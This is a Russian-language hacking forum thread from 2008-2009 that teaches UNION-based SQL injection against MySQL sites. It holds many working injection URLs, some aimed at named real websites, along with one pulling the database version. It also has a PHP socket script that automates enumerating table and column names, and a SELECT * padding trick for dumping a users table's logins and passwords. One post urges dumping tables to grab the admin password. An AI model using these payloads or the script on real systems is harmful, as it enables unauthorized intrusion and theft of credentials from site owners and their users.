
26.11.2008, 12:21
|
|
Banned
Регистрация: 25.12.2006
Сообщений: 179
Провел на форуме: 2337678
Репутация:
354
|
|
masternet
КАКАЯ НАХ СЕССИЯ!!!!??? Дампи таблицы и выдёргивай логин с пассом админа, или проверяй на доступ к mysql.user! Эта уязвимость лучше чем sixxs ))) бред какой то, ты извращенец. Вали в раздел "Ваши вопросы по уязвимостям" и внимательно перечитай первый пост этой темы!!!!
УУУ...Я ржу нереально.
И кстати- xss , cross-site scripting - если не ошибаюсь, пишется так.
|
|
|

09.01.2009, 19:08
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
Дополню пожалуй материал относительно двух запросов подряд.
Думаю все кто знаком с инъекциями с этой ошибкой сталкивались. При подборе количества полей через order by показывает допустим 4 поля, а при запросе union select 1,2,3,4 выкидывает ошибку different number of columns
Обычно на вопрос что это кто-нибудь отвечает что-то типа "там два запроса","ищи другой параметр", "юзай подзапросы" и это как-бы само по себе подразумевает, что вывода небудет.
Это не совсем так, а точнее совсем не так. Количество запросов не влияет на вывод, он либо есть, либо нет, и сколько запросов идёт к базе без разницы.
Давайте разберёмся. Допустим код выглядит так(не знаю кому это может понадобится, рассматриваем теорию  ):
PHP код:
$sql="SELECT page_title, page_autor, page_content, page_date FROM pages WHERE id=$id order by id limit 1";
$sql1="SELECT page_title, page_autor, page_content FROM pages WHERE id=$id order by id limit 1";
$res=mysql_query($sql);
$result = mysql_fetch_row($res);
$res1=mysql_query($sql1);
$result1 = mysql_fetch_row($res1);
echo $result[0]."<br>";
echo $result[1]."<br>";
echo $result[2]."<br>";
echo $result[3]."<br>";
echo $result1[0]."<br>";
echo $result1[1]."<br>";
echo $result1[2]."<br>";
Что будет при подборе:
?id=2+order+by+3/*--------вывод без ошибок
?id=2+order+by+4/*--------ошибка Unknown column '4' in 'order clause', но вывод из первого запроса остался. Ошибка возникает во втором запросе
?id=2+order+by+5/*--------тут уже вывода нет, оба запроса не верны
Начинаем вывод полей
?id=-2+union+select+1,2,3/*-------вывод из 2-го запроса (в нём кол-во полей совпало)
?id=-2+union+select+1,2,3,4/*-------из первого
Тоесть вывод есть !
При расположении запросов в обратном порядке , будет то-же самое
Далее, усложним задачу  Вывод из разных таблиц:
PHP код:
$sql="SELECT page_title, page_autor, page_content, page_date FROM pages WHERE id=$id";
$res=mysql_query($sql);
$result = mysql_fetch_row($res);
$sql1="SELECT title, date FROM news WHERE id=$id";
$res1=mysql_query($sql1);
$result1 = mysql_fetch_row($res1);
echo $result[0]."<br>";
echo $result[1]."<br>";
echo $result[2]."<br>";
echo $result[3]."<br>";
echo "result1 : ".$result1[0]."<br>";
echo "result1 : ".$result1[1]."<br>";
?id=1+order+by+2/*------вывод
?id=1+order+by+3/*------ошибка, но вывод из первого запроса
?id=1+order+by+5/*------и наконец ошибка
Выводим:
?id=-1+union+select+1,2/*-------вывод (2 запрс верен)
?id=-1+union+select+1,2,3,4/*--вывод (1 запрс верен)
Ну и наконец смертельный номер  Результат одного запроса, идёт в другой запрос:
PHP код:
$sql1="SELECT page_title, id, page_content, page_date FROM pages WHERE page_autor='$id'";
$res1=mysql_query($sql1);
$result1 = mysql_fetch_row($res1);
if($res1){
$sql="SELECT title, date FROM news WHERE id='$result1[1]'";
$res=mysql_query($sql);
$result = mysql_fetch_row($res);
echo "result : ".$result[0]."<br>";
echo "result : ".$result[1]."<br>";
}
echo $result1[0]."<br>";
echo $result1[1]."<br>";
echo $result1[2]."<br>";
echo $result1[3]."<br>";
?id=sa'+order+by+4/*------вывод
?id=sa'+order+by+5/*------ошибка
Вывод
?id=a'+union+select+1,2,3,4/*---из 1 запроса(второй кстати тоже будет верным)
Ну и из второго тоже можно вывести, но это конечно так, для общего развития:
?id=a'+union+select+1,"-1'+union+select+1,2/*",3,4/*
Сдесь вывод из двух запросов
Это конечно не полный перечень возможных запросов, но целью было не рассмотрение всех возможных вариантов. Этим дополнением я хотел показать, что неважно сколько запросов идёт к базе, вывод можно сделать, просто перебор кол-ва столбцов будет несколько отличаться от обычного.
Разумеется ничего нового в материале нет, но надеюсь вопросов(а главное ответов  ) связанных с этой ошибкой поубавится
Ну и пример из жизни (взял первую, что нашол, из топика по скулям, кого обидел не поставив копирайты сори )
http://presscenter.kz/index.php?show=news&id=2+order+by+5/*
Вывод
http://presscenter.kz/index.php?show=news&id=2+order+by+6/*
Unknown column '6' in 'order clause'
http://presscenter.kz/index.php?show=news&id=2+union+select+1,2,3,4,5/*
The used SELECT statements have a different number of columns
Вывод:
http://presscenter.kz/index.php?show=news&id=-1+union+select+concat(0x3a3a3a3a,Version()),2,3,4, 5,6,7,8,9/*
|
|
|

09.01.2009, 20:26
|
|
Познающий
Регистрация: 23.05.2008
Сообщений: 84
Провел на форуме: 192463
Репутация:
97
|
|
jokester
Спасибо конечно за статью, но я только ещё больше запутался...
Сообщение от jokester
Вывод:
http://presscenter.kz/index.php?show=news&id=-1+union+select+concat(0x3a3a3a3a,Version()),2,3,4, 5,6,7,8,9/*
почему 9 полей и конкатенация 2х запросов (0x3a3a3a3a,Version()) ?
если, как ты писал в статье
+order+by+5/*
Вывод
+order+by+6/*
Unknown column '6' in 'order clause'
а допустим просто Version() или concat(version()) не работает.
Вот непонял я этого...
Можешь тут подробнее, как пришёл к этому, плз ?
|
|
|

09.01.2009, 20:53
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
Imperou$ Конкретно эту скуль я взял для примера, первое что попалось, но объяснить конечно могу
Смотри что получается при таком запросе:
http://presscenter.kz/index.php?show=news&id=1+order+by+5/*
Есть нормальный вывод, вот так:
http://presscenter.kz/index.php?show=news&id=1+order+by+6/*
Ошибка
Предполагаем, что полей 5 и пробуем вывод:
http://presscenter.kz/index.php?show=news&id=1+union+select+1,2,3,4,5/*
The used SELECT statements have a different number of columns
Но ордер показывал 5 полей, значит запрос не один.
Можно просто сделать перебор с помощью union+select(до вывода, или каких нибуть изменений), но конкретно в этом случае, есть другой способ
ставим отрицательное значение:
http://presscenter.kz/index.php?show=news&id=-1+order+by+1/*
редирект
http://presscenter.kz/index.php?show=news&id=-1+order+by+10/*
Unknown column '10' in 'order clause'
http://presscenter.kz/index.php?show=news&id=-1+order+by+9/*
редирект
Вот и второй запрос нарисовался )
А concat и 0x3a3a3a3a, это просто вывод хреновый(именно сдесь), и без этого ты не увидишь значение, можешь сюда что хочешь записать, что-бы сместить 
|
|
|

10.01.2009, 19:06
|
|
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме: 17668503
Репутация:
5826
|
|
2 jokester вот только ты не учел конструкцию, типа:
Код:
$sql="SELECT page_title, page_autor, page_content, page_date FROM pages WHERE id=$id";
$res=mysql_query($sql) or die();
$sql1="SELECT title, date FROM news WHERE id=$id";
$res1=mysql_query($sql1) or die();
echo(а здесь типа вывод результатов);
В таком случае, если в первом запросе будет ошибка, то второй запрос уже не выполнится пусть даже он и будет правильным, а если выполнится первый, но не выполнится второй, то результат будет таким же - хрен чего увидишь)
Это сильно зависит от конструкции скрипта.
|
|
|

16.01.2009, 01:08
|
|
Участник форума
Регистрация: 22.10.2007
Сообщений: 119
Провел на форуме: 598447
Репутация:
123
|
|
ПОмогите разобраться с полезным скриптом на примере данного ниже сайта. Что и как правильно ввести. С меня хоть и небольшой,) но плюс.
http://acad.coloradocollege.edu/dept/en/story.php?id=-47+union+select+1,version(),3,4,5,6,7,8--
PHP код:
<?php
$set['b']='121212';//Что находится перед выводиомй инфой
$set['e']='212121';//Что находится после выводимой инфы
$set['u']='http://test/news.php?id=';//URL с узвимым параметров В КОНЦЕ(!)
$set['z']='-1 UNION SELECT CONCAT(0x313231323132,TABLE_NAME, 0x2D, COLUMN_NAME, 0x323132313231) FROM INFORMATION_SCHEMA.COLUMNS LIMIT +++counter+++,1/*';//Уязвимый параметр
$set['c']='+++counter+++';//Строка счетчика
$set['f']='0';//Начальное значение счетчика
$set['s']='500';//Конечное значение счетчика
$set['h']='test';//Хост
if(!empty($_GET['b']))$set['b']=$_GET['b'];
if(!empty($_GET['e']))$set['e']=$_GET['e'];
if(!empty($_GET['u']))$set['u']=$_GET['u'];
if(!empty($_GET['z']))$set['z']=$_GET['z'];
if(!empty($_GET['c']))$set['c']=$_GET['c'];
if(!empty($_GET['f']))$set['f']=$_GET['f'];
if(!empty($_GET['s']))$set['s']=$_GET['s'];
if(!empty($_GET['h']))$set['h']=$_GET['h'];
for($i=$set['f'];$i<=$set['s'];$i++)
{
$zapros=str_replace($set['c'],$i,$set['z']);//Изменияем счетчик в уязвимом параметре
//Создаем пакет
$header="GET ".$set['u'].urlencode($zapros)." HTTP/1.0\r\n";
$header.="Accept-Language: en-us,en;q=0.5\r\n";
$header.="Accept-Charset: utf-8,*;q=0.7\r\n";
$header.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5";
$header.="User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50\r\n";
$header.="Connection: keep-alive\r\n";
$header.="Cookie: PHPSESSID=028df047751bfc9a2ee18204eb2d5595\r\n";
$header.='Cookie2: $Version=1'."\r\n";
$header.="Host: ".$set['h']."\r\n\r\n";
$dt="";
$fp=fsockopen($set['h'], 80);
fwrite($fp, $header);
while(!feof($fp)) $dt.=fread($fp, 1024);
fclose($fp);
//Вырезаем необходимую инфу
$dt=substr($dt,strpos($dt,$set['b'])+strlen($set['b']));
$dt=substr($dt,0,strpos($dt,$set['e']));
//Выводим инфу на экран
echo($dt."\r\n");
flush();
}
?>
|
|
|

27.01.2009, 21:00
|
|
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме: 3244717
Репутация:
1980
|
|
|
|
|
Возможное решение проблемы трудноподбираемых имен колонок при инъекциях в MySQL 4.1.x |

24.02.2009, 08:04
|
|
Познающий
Регистрация: 11.09.2008
Сообщений: 99
Провел на форуме: 2753780
Репутация:
585
|
|
Возможное решение проблемы трудноподбираемых имен колонок при инъекциях в MySQL 4.1.x
Возможное решение проблемы трудноподбираемых имен колонок при инъекциях в MySQL => 4.1.0
Вроде, описания подобного трюка тут еще небыло...
Допустим, имеется SQL-инъекция:
Код:
?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+from+users
Имеется вывод нескольких полей. И при этом, никак не получается подобрать имена колонок таблицы users. Как решить эту проблему?
На самом деле, при написании запроса писать названия столбцов не обязательно - ведь можно вывести их все с помощью знака "*".
Тут возникает необходимое условие: количество столбцов, которое извлекает запрос, в который мы вндряем инъекцию, должно быть больше или равно общему количеству столбцов в таблице users.
Например, пусть в users 8 столбцов. Тогда нам необходимо дополнить их еще пятью, чтоб не было ошибки "different number of columns". Сделать это можно, например, так:
Код:
?id=-1+union+select+*+from+users,(select+1,2,3,4,5)x
Т.е. 8 столбцов таблицы users будут дополнены пятью из таблицы x.
Обычно, далеко не все получаемые запросом поля выводятся, поэтому не факт, что нам выведется именно нужная полезная информация (логин, пасс) из users. Но мы можем сделать в данном случае еще ряд запросов, чтоб попробовать все-таки получить нужную инфу:
Код:
?id=-1+union+select+*+from+(select+1)y,users,(select+1,2,3,4)x
?id=-1+union+select+*+from+(select+1,2)y,users,(select+1,2,3)x
?id=-1+union+select+*+from+(select+1,2,3)y,users,(select+1,2)x
?id=-1+union+select+*+from+(select+1,2,3,4)y,users,(select+1)x
?id=-1+union+select+*+from+(select+1,2,3,4,5)x,users
Последний раз редактировалось cr0w; 25.02.2009 в 17:06..
Причина: грамматика (:
|
|
|

25.02.2009, 14:40
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
Всё же статья для новичков, поэтому счёл своим долгом поправить cr0w, а то материал как-то странно подан
Сообщение от cr0w
Имеется вывод нескольких полей
Это зачем?
Сообщение от cr0w
Обычно, далеко не все получаемые запросом поля выводятся, поэтому не факт, что нам выведется именно нужная полезная информация
А это почему? Зависит от расположения меркурия в венере?
=======================================
Вот вывод ВСЕЙ информации из users в которой 5 полей, через ОДНО принтабельное поле.
Допустим: инъекция, 14 полей , вывод в 6. Поехали:
?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14
Подбираем количество полей в users:
?id=-1+union+select+*+from+users,(select+1)a
?id=-1+union+select+*+from+users,(select+1,2)a
?id=-1+union+select+*+from+users,(select+1,2,3)a
.....
?id=-1+union+select+*+from+users,(select+1,2,3,4,5,6,7, 8,9)a
Есть
У нас получилось искомые 14 полей - 9 из таблицы "а", значит в users полей 5
Выводим. Принтабельное поле 6 значит под него нужно подгонять вывод.
?id=-1+union+select+*+from+(select+1,2,3,4,5)b,users,(s elect+1,2,3,4)a
Вывод 1-го поля из таблицы users. Тоесть фактически выбираем из 3 таблиц "b","users" и "a". Первые 5 полей в которых нет вывода забиваем таблицей "b", затем в принтабельное 6 поле выводим 1-е поле из users , далее идут остальные 4 поля users и наконец, что-бы добить до 14 , 4 поля из "a".
Далее, 2-е поле из users. Смещаем:
?id=-1+union+select+*+from+(select+1,2,3,4)b,users,(sel ect+1,2,3,4,5)a
3-е поле
?id=-1+union+select+*+from+(select+1,2,3)b,users,(selec t+1,2,3,4,5,6)a
4-е и 5-е
?id=-1+union+select+*+from+(select+1,2)b,users,(select+ 1,2,3,4,5,6,7)a
?id=-1+union+select+*+from+(select+1)b,users,(select+1, 2,3,4,5,6,7,8)a
Вот как это выглядит наглядно:
1 2 3 4 5 | 6 7 8 9 0 | 11 12 13 14
( "b" ) |users 5 столбцов | ("a")
<= и двигаем users туда сюда => 
Ну и другой пример, с принтабельными двумя и невозможностью вывода всей инфы этим способом.
Допустим : те-же 14 полей, та-же users c 5 полями, но вывод в 1 и 14
?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14
Сдесь мы сможем вывести только 1-е и 5-е поле из users. Тоесть:
?id=-1+union+select+*+from+users,(select+1,2,3,4,5,6,7, 8,9)a
первое, и дальше мы её не сдвинем, и последнее:
?id=-1+union+select+*+from+(select+1,2,3,4,5,6,7,8,9)a, users
Выводы: что-бы воспользоваться этим способом, нам не нужно несколько принтабельных полей, достаточно одного, но удачно расположенного и тогда возможно вывести все данные из интересующей таблицы. Зависимость этого метода от количества полей в запросе, количества полей в выводимой таблице и расположения принтабельного поля
PS Я тут не рассматривал варианты с выводом в цикле и другую экзотику, просто поправил и надеюсь более доступно довёл только ту информацию которую предоставил cr0w
|
|
|

25.02.2009, 17:03
|
|
Познающий
Регистрация: 11.09.2008
Сообщений: 99
Провел на форуме: 2753780
Репутация:
585
|
|
Сообщение от jokester
Всё же статья для новичков, поэтому счёл своим долгом поправить cr0w, а то материал как-то странно подан 
Ну чтож, привыкайте к такой "странной" подаче материалов от меня. (:
И да, как мне справедливо заметили уже, это будет работать в версиях => 4.1.х. Кто придумает аналогичный способ для 4.0.х, тому - большой хенкерный респект. (:
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|